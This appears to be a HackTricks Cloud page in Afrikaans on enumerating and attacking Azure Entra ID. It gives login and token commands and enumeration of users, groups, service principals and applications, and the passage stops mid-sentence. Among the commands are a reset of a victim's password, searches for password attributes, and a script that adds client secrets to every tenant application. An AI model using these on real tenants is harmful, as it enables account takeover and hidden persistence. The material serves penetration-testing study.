# Az - Entra ID (AzureAD) & Azure IAM {{#include ../../../banners/hacktricks-training.md}} ## Basiese Inligting Azure Active Directory (Azure AD) dien as Microsoft se wolkgebaseerde diens vir identiteit- en toegangsbestuur. Dit speel 'n sleutelrol om werknemers in staat te stel om aan te meld en toegang tot hulpbronne te kry, beide binne en buite die organisasie, insluitend Microsoft 365, die Azure-portaal, en 'n menigte ander SaaS-toepassings. Die ontwerp van Azure AD fokus op die lewering van essensiële identiteitdienste, veral insluitend **authentication, authorization, and user management**. Belangrike kenmerke van Azure AD sluit in **multi-factor authentication** en **conditional access**, tesame met naatlose integrasie met ander Microsoft-sekuriteitsdienste. Hierdie kenmerke verhoog die veiligheid van gebruikersidentiteite aansienlik en stel organisasies in staat om hul toegangsbeleid effektief te implementeer en af te dwing. As 'n fundamentele komponent van Microsoft se wolkdienste-ekosisteem, is Azure AD sentraal vir die wolkgebaseerde bestuur van gebruikersidentiteite. ## Enumeration ### **Verbinding** {{#tabs }} {{#tab name="az cli" }} ```bash az login #This will open the browser (if not use --use-device-code) az login -u -p #Specify user and password az login --identity #Use the current machine managed identity (metadata) az login --identity -u /subscriptions//resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity # Login as service principal ## With password az login --service-principal -u -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID ## With cert az login --service-principal -u -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com # Request access token (ARM) az account get-access-token # Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms az account get-access-token --resource-type aad-graph # If you want to configure some defaults az configure # Get user logged-in already az ad signed-in-user show # Help az find "vm" # Find vm commands az vm -h # Get subdomains az ad user list --query-examples # Get examples ``` {{#endtab }} {{#tab name="Mg" }} ```bash # Login Open browser Connect-MgGraph # Login with service principal secret ## App ID and Tenant ID of your Azure AD App Registration $appId = "" $tenantId = "" $clientSecret = "" ## Convert the client secret to a SecureString $secureSecret = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force ## Create a PSCredential object $credential = New-Object System.Management.Automation.PSCredential ($appId, $secureSecret) ## Connect using client credentials Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential # Login with token $token = (az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv) $secureToken = ConvertTo-SecureString $token -AsPlainText -Force Connect-MgGraph -AccessToken $secureToken # Get token from session Parameters = @{ Method = "GET" Uri = "/v1.0/me" OutputType = "HttpResponseMessage" } $Response = Invoke-MgGraphRequest @Parameters $Headers = $Response.RequestMessage.Headers $Headers.Authorization.Parameter # Find commands Find-MgGraphCommand -command *Mg* ``` {{#endtab }} {{#tab name="Az" }} ```bash Connect-AzAccount #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("test@corp.onmicrosoft.com", $passwd) Connect-AzAccount -Credential $creds # Get Access Token # Request access token to other endpoints: AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, MSGraph, OperationalInsights, ResourceManager, Storage, Synapse (ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName Arm -AsSecureString).Token -AsPlainText) # Connect with access token Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken] # If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token) # Connect with Service principal/enterprise app secret $password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password) Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d #All the Azure AD cmdlets have the format *-AzAD* Get-Command *azad* #Cmdlets for other Azure resources have the format *Az* Get-Command *az* ``` {{#endtab }} {{#tab name="Raw PS" }} ```bash #Using management $Token = 'eyJ0eXAi..' # List subscriptions $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value # Using graph Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token} ``` {{#endtab }} {{#tab name="curl" }} ```bash # Request tokens to access endpoints # ARM curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER # Vault curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER ``` {{#endtab }} {{#tab name="MS Graph" }} ```bash Get-MgTenantRelationshipDelegatedAdminCustomer # Install the Microsoft Graph PowerShell module if not already installed Install-Module Microsoft.Graph -Scope CurrentUser # Import the module Import-Module Microsoft.Graph # Login to Microsoft Graph Connect-MgGraph -Scopes "User.Read.All", "Group.Read.All", "Directory.Read.All" # Enumerate available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph* # Example: List users Get-MgUser -All # Example: List groups Get-MgGroup -All # Example: Get roles assigned to a user Get-MgUserAppRoleAssignment -UserId # Disconnect from Microsoft Graph Disconnect-MgGraph ``` {{#endtab }} {{#tab name="Azure AD" }} ```bash Connect-AzureAD #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd) Connect-AzureAD -Credential $creds # Using tokens ## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token ``` {{#endtab }} {{#endtabs }} Wanneer jy **login** via **CLI** in **Azure** met enige program, gebruik jy 'n **Azure Application** van 'n **tenant** wat aan **Microsoft** behoort. Hierdie Applications, soos dié wat jy in jou rekening kan skep, **het 'n client id**. Jy **sal nie al hulle kan sien** in die **toegelate toepassingslyste** wat jy in die console sien nie, **maar hulle is standaard toegelaat**. Byvoorbeeld, 'n **powershell script** wat **authenticates** gebruik 'n app met client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Selfs al verskyn die app nie in die console nie, kan 'n sysadmin daardie App **blokkeer** sodat gebruikers nie via gereedskap wat deur daardie App verbind nie, toegang kry. Daar is egter **ander client-ids** van toepassings wat jou **toelaat om met Azure te verbind**: ```bash # The important part is the ClientId, which identifies the application to login inside Azure $token = Invoke-Authorize -Credential $credential ` -ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' ` -Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' ` -Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" ` -Verbose -Debug ` -InformationAction Continue $token = Invoke-Authorize -Credential $credential ` -ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' ` -Scope 'openid profile Sites.Read.All User.Read email' ` -Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" ` -Verbose -Debug ` -InformationAction Continue $token = Invoke-Authorize -Credential $credential ` -ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' ` -Scope 'openid' ` -Redirect_Uri "https://graphexplorer.azurewebsites.net/" ` -Verbose -Debug ` -InformationAction Continue ``` ### Huurders {{#tabs }} {{#tab name="az cli" }} ```bash # List tenants az account tenant list ``` {{#endtab }} {{#endtabs }} ### Gebruikers Vir meer inligting oor Entra ID-gebruikers, sien: {{#ref}} ../az-basic-information/ {{#endref}} {{#tabs }} {{#tab name="az cli" }} ```bash # Enumerate users az ad user list --output table az ad user list --query "[].userPrincipalName" # Get info of 1 user az ad user show --id "test@corp.onmicrosoft.com" # Search "admin" users az ad user list --query "[].displayName" | findstr /i "admin" az ad user list --query "[?contains(displayName,'admin')].displayName" # Search attributes containing the word "password" az ad user list | findstr /i "password" | findstr /v "null," # All users from Entra ID az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]" az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName" # All users synced from on-prem az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]" az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName" # Get groups where the user is a member az ad user get-member-groups --id # Get roles assigned to the user in Azure (NOT in Entra ID) az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee # Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID) az role assignment list --include-inherited --include-groups --include-classic-administrators true --all # Get EntraID roles assigned to a user ## Get Token export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv) ## Get users curl -X GET "https://graph.microsoft.com/v1.0/users" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq ## Get EntraID roles assigned to an user curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \ -H "Authorization: Bearer $TOKEN" \ -H "ConsistencyLevel: eventual" \ -H "Content-Type: application/json" | jq ## Get role details curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq ``` {{#endtab }} {{#tab name="MS Graph" }} ```bash # Enumerate users using Microsoft Graph PowerShell Get-MgUser -All # Get user details Get-MgUser -UserId "test@corp.onmicrosoft.com" | Format-List * # Search "admin" users Get-MgUser -All | Where-Object { $_.DisplayName -like "*test*" } | Select-Object DisplayName # Search attributes containing the word "password" Get-MgUser -All | Where-Object { $_.AdditionalProperties.PSObject.Properties.Name -contains "password" } # All users from Entra ID Get-MgUser -Filter "startswith(userPrincipalName, 't')" -All | Select-Object DisplayName, UserPrincipalName # Get groups where the user is a member Get-MgUserMemberOf -UserId # Get roles assigned to the user in Entra ID Get-MgUserAppRoleAssignment -UserId # List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Users ``` {{#endtab }} {{#tab name="Azure AD" }} ```bash # Enumerate Users Get-AzureADUser -All $true Get-AzureADUser -All $true | select UserPrincipalName # Get info of 1 user Get-AzureADUser -ObjectId test@corp.onmicrosoft.com | fl # Search "admin" users Get-AzureADUser -SearchString "admin" #Search admin at the begining of DisplayName or userPrincipalName Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Search "admin" word in DisplayName # Get all attributes of a user Get-AzureADUser -ObjectId test@defcorphq.onmicrosoft.com|%{$_.PSObject.Properties.Name} # Search attributes containing the word "password" Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}} # All users from AzureAD# All users from AzureAD Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null} # All users synced from on-prem Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null} # Objects created by a/any user Get-AzureADUser [-ObjectId ] | Get-AzureADUserCreatedObject # Devices owned by a user Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com # Objects owned by a specific user Get-AzureADUserOwnedObject -ObjectId test@corp.onmicrosoft.com # Get groups & roles where the user is a member Get-AzureADUserMembership -ObjectId 'test@corp.onmicrosoft.com' # Get devices owned by a user Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com # Get devices registered by a user Get-AzureADUserRegisteredDevice -ObjectId test@defcorphq.onmicrosoft.com # Apps where a user has a role (role not shown) Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl * # Get Administrative Units of a user $userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'" Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } } ``` {{#endtab }} {{#tab name="Az" }} ```bash # Enumerate users Get-AzADUser # Get details of a user Get-AzADUser -UserPrincipalName test@defcorphq.onmicrosoft.com # Search user by string Get-AzADUser -SearchString "admin" #Search at the beginnig of DisplayName Get-AzADUser | ?{$_.Displayname -match "admin"} # Get roles assigned to a user Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com ``` {{#endtab }} {{#endtabs }} #### Verander wagwoord van gebruiker ```bash $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` ### MFA & Conditional Access Policies Dit word sterk aanbeveel om MFA by elke gebruiker te voeg, maar sommige maatskappye sal dit nie instel nie of kan dit met 'n Conditional Access instel: Die gebruiker sal **MFA benodig as** hy vanaf 'n spesifieke ligging, blaaier of **'n sekere voorwaarde** aanmeld. Hierdie beleide, as dit nie korrek gekonfigureer is nie, kan vatbaar wees vir **bypasses**. Kyk: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} ### Groepe Vir meer inligting oor Entra ID-groepe, kyk: {{#ref}} ../az-basic-information/ {{#endref}} {{#tabs }} {{#tab name="az cli" }} ```bash # Enumerate groups az ad group list az ad group list --query "[].[displayName]" -o table # Get info of 1 group az ad group show --group # Get "admin" groups az ad group list --query "[].displayName" | findstr /i "admin" az ad group list --query "[?contains(displayName,'admin')].displayName" # All groups from Entra ID az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]" az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName" # All groups synced from on-prem az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]" az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName" # Get members of group az ad group member list --group --query "[].userPrincipalName" -o table # Check if member of group az ad group member check --group "VM Admins" --member-id # Get which groups a group is member of az ad group get-member-groups -g "VM Admins" # Get roles assigned to the group in Azure (NOT in Entra ID) az role assignment list --include-groups --include-classic-administrators true --assignee # To get Entra ID roles assigned check how it's done with users and use a group ID ``` {{#endtab }} {{#tab name="Az" }} ```bash # Get all groups Get-AzADGroup # Get details of a group Get-AzADGroup -ObjectId # Search group by string Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName Get-AzADGroup |?{$_.Displayname -match "admin"} # Get members of group Get-AzADGroupMember -GroupDisplayName # Get roles of group Get-AzRoleAssignment -ResourceGroupName ``` {{#endtab }} {{#tab name="MS Graph" }} ```bash # Enumerate groups using Microsoft Graph PowerShell Get-MgGroup -All # Get group details Get-MgGroup -GroupId | Format-List * # Search "admin" groups Get-MgGroup -All | Where-Object { $_.DisplayName -like "*admin*" } | Select-Object DisplayName # Get members of a group Get-MgGroupMember -GroupId -All # Get groups a group is member of Get-MgGroupMemberOf -GroupId # Get roles assigned to the group in Entra ID Get-MgGroupAppRoleAssignment -GroupId # Get group owner Get-MgGroupOwner -GroupId # List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Groups ``` {{#endtab }} {{#tab name="Azure AD" }} ```bash # Enumerate Groups Get-AzureADGroup -All $true # Get info of 1 group Get-AzADGroup -DisplayName | fl # Get "admin" groups Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin" Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin" # Get groups allowing dynamic membership Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'} # All groups that are from Azure AD Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null} # All groups that are synced from on-prem (note that security groups are not synced) Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null} # Get members of a group Get-AzureADGroupMember -ObjectId # Get roles of group Get-AzureADMSGroup -SearchString "Contoso_Helpdesk_Administrators" #Get group id Get-AzureADMSRoleAssignment -Filter "principalId eq '69584002-b4d1-4055-9c94-320542efd653'" # Get Administrative Units of a group $groupObj = Get-AzureADGroup -Filter "displayname eq 'TestGroup'" Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where {$_.Id -eq $groupObj.ObjectId} } # Get Apps where a group has a role (role not shown) Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * ``` {{#endtab }} {{#endtabs }} #### Voeg gebruiker by groep Eienaars van die groep kan nuwe gebruikers by die groep voeg. ```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] > Groepe kan dinamies wees, wat basies beteken dat **as 'n gebruiker aan sekere voorwaardes voldoen, sal hy by 'n groep gevoeg word**. Uiteraard, as die voorwaardes gebaseer is op **attribuute** wat 'n **gebruiker** kan **beheer**, kan hy hierdie funksie misbruik om **in ander groepe in te kom**.\ > Kyk hoe om dinamiese groepe te misbruik op die volgende bladsy: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} ### Service Principals Vir meer inligting oor Entra ID service principals, sien: {{#ref}} ../az-basic-information/ {{#endref}} {{#tabs }} {{#tab name="az cli" }} ```bash # Get Service Principals az ad sp list --all az ad sp list --all --query "[].[displayName,appId]" -o table # Get details of one SP az ad sp show --id 00000000-0000-0000-0000-000000000000 # Search SP by string az ad sp list --all --query "[?contains(displayName,'app')].displayName" # Get owner of service principal az ad sp owner list --id --query "[].[displayName]" -o table # Get service principals owned by the current user az ad sp list --show-mine # Get SPs with generated secret or certificate az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json ``` {{#endtab }} {{#tab name="Az" }} ```bash # Get SPs Get-AzADServicePrincipal # Get info of 1 SP Get-AzADServicePrincipal -ObjectId # Search SP by string Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"} # Get roles of a SP Get-AzRoleAssignment -ServicePrincipalName ``` {{#endtab }} {{#tab name="Raw" }} ```bash $Token = 'eyJ0eX..' $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value ``` {{#endtab }} {{#tab name="MS Graph" }} ```bash # Get Service Principals using Microsoft Graph PowerShell Get-MgServicePrincipal -All # Get details of one Service Principal Get-MgServicePrincipal -ServicePrincipalId | Format-List * # Search SP by display name Get-MgServicePrincipal -All | Where-Object { $_.DisplayName -like "*app*" } | Select-Object DisplayName # Get owner of Service Principal Get-MgServicePrincipalOwner -ServicePrincipalId # Get objects owned by a Service Principal Get-MgServicePrincipalOwnedObject -ServicePrincipalId # Get groups where the SP is a member Get-MgServicePrincipalMemberOf -ServicePrincipalId # List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.ServicePrincipals ``` {{#endtab }} {{#tab name="Azure AD" }} ```bash # Get Service Principals Get-AzureADServicePrincipal -All $true # Get details about a SP Get-AzureADServicePrincipal -ObjectId | fl * # Get SP by string name or Id Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} | fl Get-AzureADServicePrincipal -All $true | ?{$_.AppId -match "103947652-1234-5834-103846517389"} # Get owner of SP Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalOwner |fl * # Get objects owned by a SP Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalOwnedObject # Get objects created by a SP Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalCreatedObject # Get groups where the SP is a member Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembership |fl * ``` {{#endtab }} {{#endtabs }} > [!WARNING] > Die Owner van 'n Service Principal kan die wagwoord verander.
Lys en probeer om 'n client secret aan elke Enterprise App toe te voeg ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications. .PARAMETER GraphToken Pass the Graph API Token .EXAMPLE PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..' .LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #> [CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null ) $AppList = $null $AppPassword = $null # List All the Applications $Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications" "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } } try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { } # Add Password in the Application if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @() foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject $Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" "Method" = "POST" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } } $Body = @{ "passwordCredential"= @{ "displayName" = "Password" } } try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output "Failed to add new client secret to '$($App.displayName)' Application." } } if($Details -ne $null) { Write-Output "" Write-Output "Client secret added to : " Write-Output $Details | fl * } } else { Write-Output "Failed to Enumerate the Applications." } } ```
### Toepassings Vir meer inligting oor Toepassings kyk: {{#ref}} ../az-basic-information/ {{#endref}} Wanneer 'n App geskep word, word 3 tipes permissions gegee: - **Permissions** gegee aan die **Service Principal** (via roles). - **Permissions** wat die **app** kan hê en gebruik op **behalf of the user**. - **API Permissions** wat die app permissions oor EntraID gee sonder om ander roles te vereis wat hierdie permissions toeken. {{#tabs }} {{#tab name="az cli" }} ```bash # List Apps az ad app list az ad app list --query "[].[displayName,appId]" -o table # Get info of 1 App az ad app show --id 00000000-0000-0000-0000-000000000000 # Search App by string az ad app list --query "[?contains(displayName,'app')].displayName" # Get the owner of an application az ad app owner list --id --query "[].[displayName]" -o table # Get SPs owned by current user az ad app list --show-mine # Get apps with generated secret or certificate az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json # Get Global Administrators (full access over apps) az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members" # Get Application Administrators (full access over apps) az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members" # Get Cloud Applications Administrators (full access over apps) az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members" # Get "API Permissions" of an App ## Get the ResourceAppId az ad app show --id "" --query "requiredResourceAccess" --output json ## e.g. [ { "resourceAccess": [ { "id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", "type": "Scope" }, { "id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa", "type": "Role" } ], "resourceAppId": "00000003-0000-0000-c000-000000000000" } ] ## For the perms of type "Scope" az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv ## For the perms of type "Role" az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ```
Vind alle toepassings se API-magtigings en merk Microsoft-beheerde APIs (az cli) ```bash #!/usr/bin/env bash set -euo pipefail # Known Microsoft first-party owner organization IDs. MICROSOFT_OWNER_ORG_IDS=( "f8cdef31-a31e-4b4a-93e4-5f571e91255a" "72f988bf-86f1-41af-91ab-2d7cd011db47" ) is_microsoft_owner() { local owner="$1" local id for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do if [ "$owner" = "$id" ]; then return 0 fi done return 1 } get_permission_value() { local resource_app_id="$1" local perm_type="$2" local perm_id="$3" local key value key="${resource_app_id}|${perm_type}|${perm_id}" value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")" if [ -n "$value" ]; then printf '%s\n' "$value" return 0 fi if [ "$perm_type" = "Scope" ]; then value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)" elif [ "$perm_type" = "Role" ]; then value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)" else value="" fi [ -n "$value" ] || value="UNKNOWN" printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache" printf '%s\n' "$value" } command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } az account show >/dev/null apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)" tmp_map="$(mktemp)" tmp_ids="$(mktemp)" tmp_perm_cache="$(mktemp)" trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT # Build unique resourceAppId values used by applications. jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" # Resolve resourceAppId -> owner organization + API display name. while IFS= read -r rid; do [ -n "$rid" ] || continue sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)" owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")" name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" done < "$tmp_ids" echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions" # Print all app API permissions and mark if the target API is Microsoft-owned. while IFS= read -r row; do app_name="$(jq -r '.[0]' <<<"$row")" app_id="$(jq -r '.[1]' <<<"$row")" while IFS= read -r rra; do resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")" map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")" owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")" resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" [ -n "$owner_org" ] || owner_org="UNKNOWN" [ -n "$resource_name" ] || resource_name="UNKNOWN" if is_microsoft_owner "$owner_org"; then is_ms="true" else is_ms="false" fi permissions_csv="" while IFS= read -r access; do perm_type="$(jq -r '.type' <<<"$access")" perm_id="$(jq -r '.id' <<<"$access")" perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")" perm_label="${perm_type}:${perm_value}" if [ -z "$permissions_csv" ]; then permissions_csv="$perm_label" else permissions_csv="${permissions_csv},${perm_label}" fi done < <(jq -c '.resourceAccess[]' <<<"$rra") echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}" done < <(jq -c '.[2][]' <<<"$row") done < <(jq -c '.[]' <<<"$apps_json") ```
{{#endtab }} {{#tab name="Az" }} ```bash # Get Apps Get-AzADApplication # Get details of one App Get-AzADApplication -ObjectId # Get App searching by string Get-AzADApplication | ?{$_.DisplayName -match "app"} # Get Apps with password Get-AzADAppCredential ``` {{#endtab }} {{#tab name="MS Graph" }} ```bash # List Applications using Microsoft Graph PowerShell Get-MgApplication -All # Get application details Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List * # Search App by display name Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName # Get owner of an application Get-MgApplicationOwner -ApplicationId # List available commands in Microsoft Graph PowerShell Get-Command -Module Microsoft.Graph.Applications ``` {{#endtab }} {{#tab name="Azure AD" }} ```bash # List all registered applications Get-AzureADApplication -All $true # Get details of an application Get-AzureADApplication -ObjectId | fl * # List all the apps with an application password Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}} # Get owner of an application Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * ``` {{#endtab }} {{#endtabs }} > [!WARNING] > ’n app met die permisie **`AppRoleAssignment.ReadWrite`** kan **eskaleer na Global Admin** deur homself die rol toe te ken.\ > Vir meer inligting [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] > ’n geheime string wat die application gebruik om sy identiteit te bewys wanneer dit ’n token versoek, is die application password.\ > Dus, as jy hierdie **password** vind, kan jy toegang kry as die **service principal** **binne** die **tenant**.\ > Let daarop dat hierdie password slegs sigbaar is wanneer dit gegenereer word (jy kan dit verander maar jy kan dit nie weer kry nie).\ > Die **eienaar** van die **application** kan 'n **password** daaraan byvoeg (sodat hy dit kan 